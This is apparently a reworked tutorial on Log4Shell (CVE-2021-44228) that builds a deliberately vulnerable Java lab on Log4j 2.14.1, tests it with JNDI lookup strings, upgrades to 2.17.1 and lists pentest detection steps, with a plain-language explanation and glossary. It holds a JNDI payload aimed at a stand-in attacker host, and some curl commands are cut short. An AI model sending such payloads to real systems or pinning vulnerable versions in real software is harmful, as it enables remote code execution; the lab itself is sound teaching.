Log4Shell (CVE-2021–44228): A Hands-On Guide to Understanding and Testing the Vulnerability
The article explains that vulnerable versions of Apache Log4j 2 could interpret attacker-controlled strings in log messages as JNDI lookup expressions, causing the server to make an outbound request to an attacker-chosen endpoint. In vulnerable configurations this chain could lead to remote code execution.
Log4shell
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
CVE-2021-44228, known as Log4Shell, is a vulnerability in Apache Log4j 2, a widely used Java logging library. Apache rates the original vulnerability CVSS 10.0 Critical, and affected log4j-core versions include versions before 2.15.0 in the relevant release ranges. The flaw allows attacker-controlled input to trigger JNDI lookups and, in vulnerable configurations, lead to remote code execution. CISA described Log4Shell as a remote-code-execution vulnerability caused by JNDI features that did not sufficiently restrict attacker-controlled LDAP and other JNDI endpoints, and reported that it was being actively exploited, recommending immediate identification, mitigation, patching and threat hunting.
The feature at the centre of this guide is ordinary logging. An application takes a value such as an HTTP header and writes it to the log:
logger.info("User-Agent: {}", userAgent);
Normally, if someone sends Mozilla/5.0, the application simply records that string. The problem was that vulnerable Log4j versions could interpret specially crafted lookup expressions inside log messages, so the logging operation itself could cause the server to make an external JNDI request.
This is a lab exercise: build a small vulnerable application, reproduce the underlying behaviour safely, identify the vulnerable dependency and fix it. Everything here should be run only against applications you own or are explicitly authorised to test.
Setup
The lab is a minimal Maven application using an intentionally vulnerable Log4j version. Create the project directory structure:
mkdir log4shell-lab
cd log4shell-lab
mkdir -p src/main/java/com/example
Create pom.xml with Java 8 as the compiler target and Log4j 2.14.1 for both log4j-core and log4j-api:
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>log4shell-lab</artifactId>
<version>1.0</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
The important part is the version pin:
<version>2.14.1</version>
This intentionally selects a vulnerable Log4j release.
Finding it
The application itself is deliberately simple. Create src/main/java/com/example/App.java:
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.ServerSocket;
import java.net.Socket;
public class App {
private static final Logger logger =
LogManager.getLogger(App.class);
public static void main(String[] args) throws Exception {
ServerSocket server = new ServerSocket(8080);
System.out.println("Listening on http://localhost:8080");
while (true) {
Socket socket = server.accept();
BufferedReader reader =
new BufferedReader(
new InputStreamReader(socket.getInputStream()));
String request = reader.readLine();
if (request != null) {
System.out.println("Request: " + request);
logger.info("HTTP request: {}", request);
}
socket.close();
}
}
}
It listens on port 8080, reads the first line of each incoming request and passes that line to logger.info. That is the whole attack surface: a single attacker-controlled string reaching a logging call.
Build it:
mvn package
Run it, putting the project jar and every Log4j jar from the local Maven repository on the classpath:
java -cp target/log4shell-lab-1.0.jar:$(find ~/.m2/repository/org/apache/logging/log4j -name "*.jar" | tr '\n' ':') com.example.App
You should see:
Listening on http:
Exploitation
Step 1: Confirm normal logging
From another terminal, send a plain request:
curl http://localhost:8080/test
The application receives the request and logs it. The flow is the ordinary one: curl, then the application, then logger.info(), then Log4j. Nothing unusual happens.
Step 2: Send a JNDI lookup string
A common detection string is based on the JNDI lookup syntax:
${jndi:ldap://[redacted]:1389/test}
For a safe local lab there is no need to build a malicious LDAP server or execute code. Instead, observe whether the vulnerable application attempts an outbound lookup. Send:
curl 'http:
Depending on the Java/Log4j environment, the application may attempt to resolve the JNDI resource. The lesson is not simply that the string appeared in the log. The question that matters is whether processing attacker-controlled input caused Log4j to perform a JNDI lookup. That distinction is what validates the vulnerability.
Step 3: Understand the chain to code execution
The dangerous chain was approximately:
Attacker-controlled input
|
v
Log4j
|
v
JNDI
|
v
LDAP / other endpoint
|
v
Remote resource
|
v
Code execution
The original vulnerability allowed attacker-controlled LDAP and other JNDI-related endpoints to participate in this process, which is why Log4Shell was significantly more serious than an ordinary logging bug.
Root cause
The mistake is that vulnerable Log4j versions interpreted lookup expressions inside log messages, so a value that should have been inert data was evaluated. The logging call could therefore trigger a JNDI lookup to an endpoint chosen by whoever supplied the input. CISA's description points at the same design weakness: JNDI features that did not sufficiently restrict attacker-controlled LDAP and other JNDI endpoints. The vulnerability lives in log4j-core; applications using only log4j-api are not affected by this specific vulnerability.
Impact
Where an application logs attacker-controlled input through a vulnerable log4j-core and the environment permits the lookup, the attacker can cause the server to contact an external JNDI endpoint and, in vulnerable configurations, reach remote code execution. The conditions matter: the guide notes that whether a lookup is attempted depends on the Java/Log4j environment. Because the trigger is a logging call, any field that reaches a log line is potentially in scope. CISA recommended immediate identification, mitigation, patching and threat hunting.
Fix
Update the dependency. For example:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency>
Then rebuild:
mvn clean package
Verify that the vulnerable dependency is gone:
mvn dependency:tree | grep log4j
The vulnerable 2.14.1 dependency should no longer appear. Always check Apache's security guidance when deciding on the appropriate patched version, because Log4j had several related vulnerabilities and subsequent fixes.
Variants to test
In a real authorised assessment, the same reasoning applies to any target that might run Java and Log4j. The following steps are the ones worth repeating.
- Fingerprint the application. Look for signs of Java, Spring, Tomcat, Solr, Elasticsearch, Jenkins, Minecraft or Apache products. This does not prove Log4j is present, but it tells you where to look next.
- Search dependencies. For applications you can inspect, run
find . -iname '*log4j*'ormvn dependency:tree | grep log4j. For containers, usedocker image inspect <image>and inspect the filesystem and package contents. - Identify the actual Log4j version. The component that matters is
log4j-core. - Find attacker-controlled input. Look at locations such as
User-Agent,X-Forwarded-For,X-Api-Version,X-Client-IP, URL parameters, POST parameters, JSON fields and authentication fields. The key question is whether your input can reach a vulnerable Log4j logging operation. - Validate safely. Prefer a controlled callback or other non-destructive verification rather than attempting arbitrary code execution on a production target.
The overall discipline is: detect, validate, assess impact, remediate, verify. Finding Log4j is not enough; you need to establish which component and version are actually deployed, and a strong assessment does not stop at reporting CVE-2021-44228.
What happened, in plain words
The bug is called Log4Shell, and its official catalogue number is CVE-2021-44228. A CVE number is simply an ID card that every publicly known security flaw gets, so that people can talk about the same flaw without confusion.
The software with the bug is Apache Log4j 2. Log4j is a logging library: a small bundle of ready-made code that programmers drop into their programs so the program can write notes about what it is doing. Think of a ship's logbook. The captain does not decide what to write from scratch every time; there is a standard book with standard columns, and the captain fills in the entries. Log4j is that book for Java programs. Java is a programming language, and a library is a collection of pre-written code that many different programs reuse instead of writing everything themselves.
The flaw meant that a program using a vulnerable version of Log4j could be made to do something dangerous just by having the wrong text written into its log. Apache, the organisation that maintains Log4j, rated the original flaw CVSS 10.0 Critical. CVSS is a scoring system from 0 to 10 that tries to express how bad a security flaw is; 10.0 is the maximum. Affected log4j-core versions include versions before 2.15.0 in the relevant release ranges. log4j-core is the part of Log4j that does the actual work of writing log entries, as opposed to log4j-api, which is the part other code talks to.
This guide is a lab exercise. A lab, in security, means a small practice environment that you build yourself and control completely, so you can break things without harming anyone. The plan is: build a tiny program that has the bug, watch the bug happen safely, find the bad component, and then fix it. Everything here should be run only against applications you own or are explicitly authorised to test. "Authorised" means you have written permission from whoever owns the system.
1. How Log4Shell works
Start with the ordinary thing that logging does. Imagine an application that writes down the User-Agent header of each visitor. A header is a small labelled piece of text that a browser sends along with every request to a website, like the address label on a parcel. User-Agent is the header where the browser says what it is, for example which browser and operating system.
The application writes it to the log with this line:
logger.info("User-Agent: {}", userAgent);
Line by line:
loggeris the name the programmer gave to their logbook object. An object is a bundle of data and actions that a program treats as one thing..info(...)means "write an entry at the information level". Logs usually have levels such as info, warning and error, so that operators can filter noise from serious problems."User-Agent: {}"is the fixed text of the entry. The{}is a placeholder, an empty slot to be filled in later.userAgentis the value that came in from the network, and it gets dropped into that slot.
Normally, if someone sends:
Mozilla/5.0
the application simply records that string. Mozilla/5.0 is the traditional opening of a browser's User-Agent string; it is just text, and text in a log is harmless.
The problem was that vulnerable Log4j versions could interpret specially crafted lookup expressions inside log messages. A lookup expression is a piece of text that Log4j treats as an instruction rather than as plain content: instead of writing it down, Log4j goes and fetches something and writes down the result. A simplified example is:
${jndi:ldap://attacker.example/test}
This is the shape of the famous payload. A payload is the piece of input an attacker sends to try to trigger a flaw. Reading it from the inside out:
${...}is Log4j's syntax for "evaluate what is inside the braces and substitute the result".jndinames the lookup mechanism to use. JNDI stands for Java Naming and Directory Interface. It is a standard part of Java that lets a program ask a directory service, "please give me the thing registered under this name". A useful comparison is a phone book: you look up a name and get a number, except here you look up a name and get a resource such as a piece of code or data.ldap://is the protocol, the language and rules for talking to the directory. LDAP is a common directory protocol.attacker.exampleis the server that will be contacted. In a real attack this is a machine the attacker controls;.exampleis a reserved domain used in documentation so that no real server is involved./testis the path, the name of the specific entry on that server.
Conceptually the flow looked like this:
Attacker
|
| malicious input
v
Web Application
|
| logger.info(...)
v
Log4j
|
| JNDI lookup
v
External service
Read the diagram top to bottom. The attacker sends text to the web application. The application, doing its normal job, hands that text to Log4j. Log4j, because of the bug, treats the text as an instruction and makes a JNDI lookup. That lookup is a network request leaving the server and going to an external service. The dangerous part was that the logging operation could cause the server to make an external JNDI request. A server that reaches out to a machine chosen by a stranger is a server that can be led places its owner never intended.
CISA, the US Cybersecurity and Infrastructure Security Agency, described Log4Shell as a remote-code-execution vulnerability caused by JNDI features that did not sufficiently restrict attacker-controlled LDAP and other JNDI endpoints. Remote code execution, usually shortened to RCE, means an attacker can make the target machine run code of the attacker's choosing. That is the worst outcome in this field, because running code is the same as having control.
2. Build a vulnerable lab
Why build anything at all? Because reading about a bug and watching it happen are different kinds of understanding. In a lab you can see the request arrive and the log line, on a machine you own.
The lab is a minimal Maven application using an intentionally vulnerable Log4j version. Maven is a build tool for Java: it downloads the libraries your project needs and assembles your code into a runnable file. A dependency is a library your project relies on. "Intentionally vulnerable" means we deliberately pick the old, broken version so we can study it.
Create the project directory structure:
mkdir log4shell-lab
cd log4shell-lab
mkdir -p src/main/java/com/example
Line by line:
mkdir log4shell-labmakes a new folder calledlog4shell-lab.mkdirmeans "make directory", and a directory is just a folder.cd log4shell-labmoves you into that folder, so the following commands act inside it.cdmeans "change directory".mkdir -p src/main/java/com/examplecreates a chain of nested folders in one go. The-pflag tells the command to create any missing parent folders along the way instead of complaining.src/main/java/com/exampleis the conventional place where Java projects keep their source code, andcom.exampleis a package name. A package is a namespace that groups related code, like a surname that keeps two people called Anna apart.
Next, create a file called pom.xml in the project folder. XML is a text format that uses matching tags, like <name>...</name>, to describe structured data. The pom.xml is Maven's project description: it says what the project is called, what Java version to compile for, and which libraries to fetch.
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>log4shell-lab</artifactId>
<version>1.0</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
Line by line:
<project ...>opens the description. Thexmlnsattributes declare which vocabulary of tags this file uses, so Maven knows how to read it. You can treat them as boilerplate.<modelVersion>4.0.0</modelVersion>says which version of the project-file format this is.<groupId>com.example</groupId>is the organisation or namespace the project belongs to.com.exampleis a placeholder used in examples.<artifactId>log4shell-lab</artifactId>is the project's own name.<version>1.0</version>is the project's version number.<properties>holds settings.maven.compiler.sourceandmaven.compiler.targetset to8tell Maven to compile the code for Java 8, an older but very widely deployed Java version.<dependencies>is the shopping list of libraries. Each<dependency>names agroupId, anartifactIdand aversion.- The first dependency is
log4j-coreversion2.14.1, the part that writes logs and the part that contains the flaw. - The second is
log4j-apiversion2.14.1, the part application code calls.
The important part is the version pin:
<version>2.14.1</version>
This intentionally selects a vulnerable Log4j release. A release is one published version of a piece of software. Pinning the version, rather than saying "whatever is newest", is exactly what makes the lab reproducible: everyone who follows these steps gets the same broken library.
3. Create the application
The application itself is deliberately simple. Its only job is to receive a network request and log the first line of it. That is enough, because the bug lives in the logging, not in the application logic.
Create src/main/java/com/example/App.java:
package com.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.ServerSocket;
import java.net.Socket;
public class App {
private static final Logger logger =
LogManager.getLogger(App.class);
public static void main(String[] args) throws Exception {
ServerSocket server = new ServerSocket(8080);
System.out.println("Listening on http://localhost:8080");
while (true) {
Socket socket = server.accept();
BufferedReader reader =
new BufferedReader(
new InputStreamReader(socket.getInputStream()));
String request = reader.readLine();
if (request != null) {
System.out.println("Request: " + request);
logger.info("HTTP request: {}", request);
}
socket.close();
}
}
}
Line by line:
package com.example;puts this file in thecom.examplepackage, matching the folder path.- The
importlines pull in the Log4j classes and the Java networking classes so the code can refer to them by short names. public class App {starts the definition of a class calledApp. A class is a blueprint for a piece of code.private static final Logger logger = LogManager.getLogger(App.class);creates the logbook.Loggeris the type of object that writes log entries, andLogManager.getLoggerhands one out.privatemeans only this class can use it,staticmeans there is one shared copy, andfinalmeans it will not be reassigned.public static void main(String[] args)is the entry point: when Java runs the program, it starts here.ServerSocket server = new ServerSocket(8080);opens a port. A port is a numbered door on a computer through which network traffic for a particular program arrives. Port 8080 is a common choice for test web servers.System.out.println("Listening on http://localhost:8080");prints a message to the terminal so you know the server started.localhostmeans "this same computer".while (true) {starts an endless loop: the server keeps serving forever.Socket socket = server.accept();waits until someone connects, then returns aSocket, which represents that one connection. A socket is the program's handle on a network conversation.- The
BufferedReaderlines wrap the incoming data in a reader that can hand it over one line at a time. String request = reader.readLine();reads the first line of the request. A string is a piece of text. For a web request, the first line is the request line, which contains the method and the path, for exampleGET /test HTTP/1.1.if (request != null) {checks that something was actually read.System.out.println("Request: " + request);echoes the line to the terminal.logger.info("HTTP request: {}", request);writes it to the log. This is the line that matters: an attacker-controlled string reaches a logging call.socket.close();closes the connection, and the loop goes back to waiting.
That is the whole attack surface: a single attacker-controlled string reaching a logging call. Attack surface means all the places where outside input can get into a system. The smaller you can make it in a lab, the easier it is to see what is going on.
Build it:
mvn package
mvn runs Maven, and package tells it to compile the code and bundle it into a jar. A jar is a single file containing compiled Java code plus the resources it needs, like a zip file for Java programs. Maven downloads the Log4j libraries from the internet the first time you run it.
Run it, putting the project jar and every Log4j jar from the local Maven repository on the classpath:
java -cp target/log4shell-lab-1.0.jar:$(find ~/.m2/repository/org/apache/logging/log4j -name "*.jar" | tr '\n' ':') com.example.App
Line by line:
javastarts the Java runtime, the program that executes Java code.-cpsets the classpath, the list of places Java should look for code. Entries are separated by colons on Linux and macOS.target/log4shell-lab-1.0.jaris the jar Maven just built.$(...)runs the command inside and substitutes its output. Here it runsfindto locate every jar under~/.m2/repository/org/apache/logging/log4j. The~/.m2/repositoryfolder is Maven's local cache of downloaded libraries.-name "*.jar"limits the search to files ending in.jar.| tr '\n' ':'takes the newline-separated list of found files and turns the newlines into colons, so the result fits the classpath format.com.example.Appis the class to run, which is the one with themainmethod.
You should see:
Listening on http:
That message means the server is up and waiting for connections on port 8080.
4. Test normal input
Before testing anything unusual, confirm that the ordinary path works. This is a habit worth keeping: if you do not know what normal looks like, you cannot recognise abnormal.
From another terminal, send a plain request:
curl http://localhost:8080/test
curl is a command-line tool that makes a web request and prints the response. Here it sends a request to localhost on port 8080, asking for the path /test. The application receives the request and logs it. The flow is the ordinary one: curl, then the application, then logger.info(), then Log4j. Nothing unusual happens. Nothing unusual happens.
5. Test for Log4Shell behaviour
Now the interesting part. A common detection string is based on the JNDI lookup syntax:
${jndi:ldap://[redacted]:1389/test}
This is the same shape as the earlier example, but pointed at [redacted], which is the special address meaning "this computer", on port 1389, a port often used for LDAP. In a lab, pointing the lookup at your own machine keeps everything local.
For a safe local lab there is no need to build a malicious LDAP server or execute code. Instead, observe whether the vulnerable application attempts an outbound lookup. An outbound connection is one your machine initiates towards somewhere else. If the application tries to reach [redacted]:1389, that attempt is the evidence to look for, though whether it happens depends on the environment.
Send:
curl 'http:
Depending on the Java/Log4j environment, the application may attempt to resolve the JNDI resource. "Depending on the environment" matters: the same payload does not behave identically everywhere, because Java version, Log4j configuration and network settings all influence whether a lookup is attempted.
The lesson is not simply that the string appeared in the log. Of course it appeared; the application logs what it receives. The question that matters is whether processing attacker-controlled input caused Log4j to perform a JNDI lookup. That distinction is what validates the vulnerability. Validation means proving that your input actually caused the dangerous behaviour, rather than merely being present somewhere in the output.
6. Why this could become RCE
The dangerous chain was approximately:
Attacker-controlled input
|
v
Log4j
|
v
JNDI
|
v
LDAP / other endpoint
|
v
Remote resource
|
v
Code execution
Read it as a relay race. The attacker's text is the baton. Log4j picks it up because it is in a log message. JNDI carries it onward because the text names a lookup. The lookup contacts an LDAP or other endpoint, which is a server somewhere. That server returns a remote resource, something hosted far away. In vulnerable configurations, that resource can be code, and code that the server loads and runs is code execution.
The original vulnerability allowed attacker-controlled LDAP and other JNDI-related endpoints to participate in this process, which is why Log4Shell was significantly more serious than an ordinary logging bug. An ordinary logging bug might let someone forge a line in a file. This one let a stranger choose which server your machine talks to, and potentially what it runs.
CISA reported that Log4Shell was being actively exploited and recommended immediate identification, mitigation, patching and threat hunting. Exploited means attackers were using it in the wild, not just in theory. Mitigation is a temporary measure that reduces risk before a proper fix is in place. Patching is installing the corrected version. Threat hunting is actively searching your systems for signs that an attack already happened, rather than waiting for an alarm.
7. Fix the vulnerability
Update the dependency. For example:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency>
These are the same two dependencies as before, with the version changed from 2.14.1 to 2.17.1. The fix is not a code change in your application; it is a change to which library version you use. That is typical for dependency flaws: the vulnerable code was never yours, so the repair is to stop using the broken release.
Then rebuild:
mvn clean package
clean deletes previous build output so nothing stale is reused, and package builds the project again with the new dependency.
Verify that the vulnerable dependency is gone:
mvn dependency:tree | grep log4j
dependency:tree asks Maven to print the full tree of libraries the project uses, including libraries pulled in indirectly. | grep log4j filters that output to lines containing log4j. The vulnerable 2.14.1 dependency should no longer appear. Always check Apache's security guidance when deciding on the appropriate patched version, because Log4j had several related vulnerabilities and subsequent fixes.
8. Detection in a real pentest
In a real authorised assessment, the same reasoning applies to any target that might run Java and Log4j. A pentest, short for penetration test, is a security assessment carried out with permission, in which a tester tries to find and demonstrate weaknesses before criminals do. The following steps are the ones worth repeating.
Step 1: Fingerprint the application
Look for signs of Java, Spring, Tomcat, Solr, Elasticsearch, Jenkins, Minecraft or Apache products. Fingerprinting means working out what software a target runs from clues it gives off, such as error pages, headers or file names. These are all products that commonly run on Java: Spring is a framework for building Java applications, Tomcat is a Java web server, Solr and Elasticsearch are search engines, Jenkins is an automation server, and Minecraft's server is written in Java. This does not prove Log4j is present, but it tells you where to look next.
Step 2: Search dependencies
For applications you can inspect, run:
find . -iname '*log4j*'
find . searches from the current folder downwards. -iname '*log4j*' matches file names containing log4j, ignoring upper and lower case. Any hit is a file worth opening.
Or:
mvn dependency:tree | grep log4j
This is the same dependency listing as in the fix step, used here for discovery rather than verification.
For containers, use docker image inspect <image> and inspect the filesystem and package contents.
find . -iname '*log4j*'
and inspect the filesystem and package contents. A container is a packaged, isolated runtime for an application, including its libraries, so the same search logic applies inside the image.
Step 3: Identify the actual Log4j version
The component that matters is log4j-core. Apache notes that CVE-2021-44228 affects log4j-core; applications using only log4j-api are not affected by this specific vulnerability. This is why version detection matters: finding the word "log4j" somewhere is not the same as finding the vulnerable part at a vulnerable version.
Step 4: Find attacker-controlled input
Look at locations such as User-Agent, X-Forwarded-For, X-Api-Version, X-Client-IP, URL parameters, POST parameters, JSON fields and authentication fields. These are all places where text from outside enters an application. X-Forwarded-For and X-Client-IP are headers that proxies use to pass along the original client address; X-Api-Version is a custom header some APIs use to select a version. URL parameters are the name=value pairs after a ? in a web address. POST parameters are values submitted in the body of a form submission. JSON is a text format for structured data, and authentication fields are the username and password style inputs used to log in. The key question is whether your input can reach a vulnerable Log4j logging operation.
Step 5: Validate safely
Prefer a controlled callback or other non-destructive verification rather than attempting arbitrary code execution on a production target. A callback is a signal you can observe coming back to a server you control, which proves the target made the connection you asked for. Non-destructive means it does not damage, change or take down the target.
9. What I learned from Log4Shell
Log4Shell is a good example of why modern penetration testing is not just about running scanners. A scanner is an automated tool that probes for known weaknesses; useful, but it reports symptoms, not understanding. The vulnerability combines several concepts:
Web application
+
User-controlled input
+
Logging
+
Java
+
JNDI
+
External network communication
=
Potential RCE
Each line is one ingredient, and the equals sign is the conclusion. Remove any one of them and the chain breaks. A good pentester needs to understand the entire chain, because that is what lets you tell a real finding from a false alarm, and a fix from a workaround.
The most important lessons are:
- Dependencies are attack surface. An application may contain hundreds of third-party libraries. Every one of them is code running inside your application, with your application's permissions.
- Logging is not always passive. A logging function can trigger additional processing. Writing a note is not always just writing a note.
- Version detection matters. Finding Log4j is not enough. You need to establish which component and version are actually deployed.
- Vulnerability validation should be controlled. A safe callback can demonstrate dangerous behaviour without turning a portfolio lab into a real compromise.
- Patching is part of security testing. A strong assessment does not stop at "I found CVE-2021-44228". It should demonstrate the full cycle:
Detect → Validate → Assess Impact → Remediate → Verify
That is: find it, prove it, work out how much it matters, fix it, and confirm the fix worked. Each arrow is a step that can fail on its own, and skipping one leaves the job half done.
Glossary
- API: an interface through which one piece of software talks to another, like a service counter with defined requests and responses.
- Attack surface: all the places where outside input can enter a system.
- Authentication fields: inputs such as username and password used to prove who you are.
- Authorised: done with explicit permission from the owner of the system.
- Callback: an observable signal sent back to a server you control, used to prove a target made a connection.
- Class: a blueprint in code that describes data and behaviour.
- Classpath: the list of locations where Java looks for code when running a program.
- Container: a packaged, isolated runtime containing an application and its libraries.
- CVE: a public identifier assigned to a known security vulnerability.
- CVSS: a 0 to 10 scoring system for the severity of a vulnerability; 10.0 is the maximum.
- Dependency: a library that a project relies on.
- Directory: a folder on a computer.
- Exploited: used in real attacks, not just demonstrated in theory.
- Fingerprinting: identifying what software a target runs from indirect clues.
- Header: a labelled piece of text sent alongside a web request or response.
- Jar: a single file bundling compiled Java code and its resources.
- Java: a widely used programming language and runtime.
- JNDI: Java Naming and Directory Interface, a Java standard for looking up named resources in a directory service.
- JSON: a text format for structured data made of names and values.
- Lab: a controlled practice environment you build and own.
- LDAP: a common protocol for directory services.
- Library: pre-written code that many programs reuse.
- Log4j: a Java logging library maintained by Apache.
log4j-api: the part of Log4j that application code calls.log4j-core: the part of Log4j that performs logging; the component affected by CVE-2021-44228.- Logging: recording notes about what a program is doing.
- Lookup expression: text that a logging library evaluates and substitutes rather than recording literally.
- Maven: a build tool for Java that downloads dependencies and assembles projects.
- Mitigation: a temporary measure that reduces risk before a proper fix.
- Non-destructive: verification that does not damage or change the target.
- Object: a bundle of data and actions treated as one thing in a program.
- Outbound: a connection initiated from your machine towards somewhere else.
- Package: a namespace that groups related code.
- Patching: installing a corrected version of software.
- Payload: the input sent to try to trigger a vulnerability.
- Pentest: a security assessment carried out with permission.
- Port: a numbered door on a computer through which a particular program receives network traffic.
- POST parameters: values submitted in the body of a form or request.
- Protocol: the agreed rules and language for communication between systems.
- RCE (remote code execution): a flaw that lets an attacker run code of their choosing on a target machine.
- Release: one published version of a piece of software.
- Scanner: an automated tool that probes for known weaknesses.
- Socket: a program's handle on a network conversation.
- String: a piece of text in programming.
- Threat hunting: actively searching systems for signs that an attack already occurred.
- URL parameters:
name=valuepairs appended to a web address after a?. - Validation: proving that your input actually caused the dangerous behaviour.
- XML: a text format that uses matching tags to describe structured data.